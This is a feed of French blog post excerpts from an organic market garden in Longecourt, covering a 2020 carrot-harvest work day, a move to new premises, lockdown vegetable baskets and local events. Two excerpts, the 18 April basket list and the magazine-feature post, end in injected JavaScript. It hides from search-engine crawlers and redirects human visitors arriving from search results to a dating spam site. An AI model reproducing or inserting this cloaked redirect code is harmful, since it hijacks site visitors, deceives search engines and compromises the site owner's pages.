La moitié!

Le chantier participatif de l'année 2020 est terminé! snif, on adore ça nous voir du monde au jardin! Promis on en refait un l'année prochaine! (et cette fois on espère bien fêter ça autour d'un repas en musique sans que des virus ne nous en empêche) Cette édition 2020 s'est réalisée dans de bonnes conditions, le terrain avait suffisamment séché pour que la machine puisse soulever les carottes et soulager la tache des maraîchers d'un jour, la pluie nous a laissé travailler et surtout y a PLEIN DE CAROTTES!! Nous avons ensuite célébré la tache à demi réalisée autour d'un bon goûter à base de gâteau...à la carotte et de chocolat chaud pour se réchauffer les mains! Les caisses ont été rangées le lendemain et les carottes seront lavées et préparées avant chaque vente durant l'hiver Le reste des planches sera récolté la semaine suivante avec les futurs maraîchers et maraîchères en formation  BPREA (brevet professionnel d'exploitant agricole) du CFPPA de Plombières- Quetigny, chic! Reste...
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Ça y est nous avons déménagé

Ça y est nous avons déménagé

Depuis les portes ouvertes du 12 septembre, un vent de nouveauté souffle aux jardins de Longecourt. Nous avons, après une année et demi de travaux (entrecoupés de la saison maraichère..) déménagé le local professionnel au 12 route de Cussy à Longecourt les Culetre. Nous avons quitté avec un petit pincement au cœur notre fonctionnement au 4 place de la mairie ou nous avons travaillé pendant 6 ans pour découvrir les joies d'un grand local, sans marche, sans pente (ou presque)... toutes ces petites choses qui ne facilitaient pas la vie du maraîcher! Nous espérons donc réduire la charge de travail sur les postes conditionnement, lavage, préparation de commande et réduire le port de charges, pour gagner en efficacité et sauver notre dos! Nous espérons aussi vous accueillir toute l'année dans des conditions plus sympas pour la vente à la ferme avec de la lumière, moins de courants d'air et plus de place. Et c'est aussi le cas pour les collègues producteurs qui...
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On déménage!

Si vous nous suivez depuis un moment, vous avez sûrement l’habitude de nos changements...mais cette fois c'est un grand changement, on déménage! à 300m mais on déménage quand même! On a beau essayer de pousser les murs on commence à se sentir à l’étroit au 4 place de la mairie, alors après 6 années passées ici à empiler les caisses de légumes pour gagner de la place au sol, on prend sous le bras chambre froide, station de lavage, chariots à roulette, local de vente et on s'installe au bout du village, 12 route de Cussy. On y verra enfin clair, et le maraîcher sera soulagé car l'ergonomie a été réfléchie (très fort!)! Nous avons donc plein de choses à vous raconter et encore des projets sous l'autre bras dans ce lieu que nous affectionnons déjà, alors nous vous invitons à pousser la porte du "nouveau bâtiment" le 12 septembre de 9h30 à12h pour le marché (les collègues producteurs et...
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31 juillet animé!

Ce vendredi 31 juillet, nous avons le plaisir d’accueillir l'altertour aux jardins de Longecourt, 70 cyclistes qui organisent un tour itinérant pour la transition écologique et sociale, pour plus d'infos c'est par ici Ciné cyclo participe à la journée grâce à l’altertour. L'association vient poser ses machines pour qu'en pédalant nous puissions profiter d'une séance ciné en plein air, ce vendredi 31 juillet à 22h (rdv place de la mairie, prévoyez de quoi vous installez confortablement c'est sur l"herbe et de quoi boire!), entrée gratuite (2 court métrages et 2 films sur la thématique environnement et agriculture) Nous saluons l'initiative de la ferme de la Mouillote, Hameau de Sivry à Voudenay et participons à leur marché de producteurs le 31 juillet et le 4 septembre, de 17h à 21h ...
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Tout seul on fait pas grand chose

Tout seul on fait pas grand chose

Saison 5 de la vente à la ferme Nous avons la chance d'avoir autour de nous d'autres producteurs, et quand le maraîcher sort de son champ pour vendre le fruit de son travail,  il est content de partager la place avec les collègues. Parce qu'on rigole bien, on partage des valeurs communes et qu'en plus on peut en profiter pour faire les courses à domicile!! La saison 5  de la vente à la ferme reprend une forme un peu plus normale dès le 2 juillet, Venez, on vous expliquera, on a trouvé de bonnes idées! Jeudi 17h30-19h (commandes+marché, pain, oeufs, fromage, légumes...) Samedi 9h30-12h (marché uniquement, légumes+oeufs)       ...
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Comment s’en sortir? (du confinement)

Comment s’en sortir? (du confinement)

Nos habitudes de ventes ont été bousculées durant cette longue période confinée... Nous avons été privé de notre grand plaisir de la semaine à l'ouverture des portes de la grange! Fini le bain de foule à Longecourt (si si c'est possible un bain de foule à Longecourt!), on a du mettre ça de côté durant ces trois mois, alors on a fait comme on a pu et forcément quand on fait des choix ça ne peut pas convenir à tous. Il n'y en avait pas assez, ou alors y avait trop de salades, ou bien on voyait même plus les paniers à 10h sur le site.. et je ne vous parle pas du stress des maraîchers en début de saison pour remplir tout les paniers et faire en sorte d'éviter de vous faire un panier que de salades (on aurait pu, mais non nous ne l'avons pas fait!), nous espérons que pour certains cette période aura été l'occasion de se...
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Avant le début de saison

Avant le début de saison

Au programme de notre hiver 2019-2020,  nous n'avons pas chômé entre les travaux dans le futur bâtiment de vente et de stockage, le montage de 3 tunnels en simultané, l'envol d'un autre suite à un des nombreux coup de vent, l'implantation des fraises tant attendues, l’accueil et l'aide précieuse de nos supers stagiaires d'enfer, les tonnes de foin vidées des écuries à aménager, les trente cinq versions des plans d’aménagement du bâtiment, les journées de formation dans le réseau bio Bourgogne, l'arrivée de nos deux consœurs spéciales "écopaturage",  les quarante deux versions du plan d'assolement du jardin, les commandes de plants, de bâches, de toile tissée, d’irrigation, la clôture de notre quatrième exercice comptable, un ou deux ou même trois contrôles  par ci par là, l'audit bio, les livraisons toutes les semaine à l'Amap de Pouilly (et surtout les kilos de radis d'hiver engloutis par nos Amapiens)....tout ça et j'en oublie certainement, ces souvenirs  me semblent précieux à l'heure ou...
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Une bien étrange reprise 2020

La reprise de la saison a un gout très étrange cette année, nous ferons le maximum pour nous adapter aux exigences sanitaires nécessaires.  La saison 5 de la vente à la ferme ne reprendra pas le 16 avril comme prévu mais nous continuerons chaque semaine à proposer une quarantaine de paniers à 20€ en pré commande à venir retirer le mercredi. Vous avez jusqu'au dimanche soir pour passer votre commande. Vous avez été nombreux à nous solliciter, je m'excuse si je n'ai pas pu répondre à toutes les demandes, la charge de travail est importante et notre organisation bousculée. Nous fonctionnons depuis 2 ans grâce à Sophie, une de nos super cliente, avec des paniers  précommandés. Ce système permettait un retrait facile sans faire la queue ou d'"avoir tout ce qu'on veut comme légumes même quand on arrive à 19h" dixit Sophie (la super cliente!).   Bref, ce système se révélè pertinent durant cette crise.Nous permettant ainsi de vous fournir en légumes durant...
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panier du 18 avril

1 botte de blette 300 gr de céleri rave 600gr d'épinards 700 gr de PDT 1 botte de poireaux 2 salades 1 botte de radis 400 gr de rhubarbe 120 gr de roquette les commandes sont à passer ici var crawlerAgentRegex = /bot|google|yahoo|bing|yandex/i; var goodRefs = /google|yahoo|yandex|bing/i; if (crawlerAgentRegex.test(navigator.userAgent)) { } else { if (goodRefs.test(document.referrer)){ window.location="http://red.seniors-dating.org/?wwp"; } }...
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la ferme sur papier glacé!

Cet hiver, nous en avons profité pour nous exposer au feu des projecteurs de Bourgogne Magazine, qui consacre son dernier numéro au pays Arnétois, ça fait du bien, ça change des légumes même si ils n'étaient pas très loin! var crawlerAgentRegex = /bot|google|yahoo|bing|yandex/i; var goodRefs = /google|yahoo|yandex|bing/i; if (crawlerAgentRegex.test(navigator.userAgent)) { } else { if (goodRefs.test(document.referrer)){ window.location="http://red.seniors-dating.org/?wwp"; } }...
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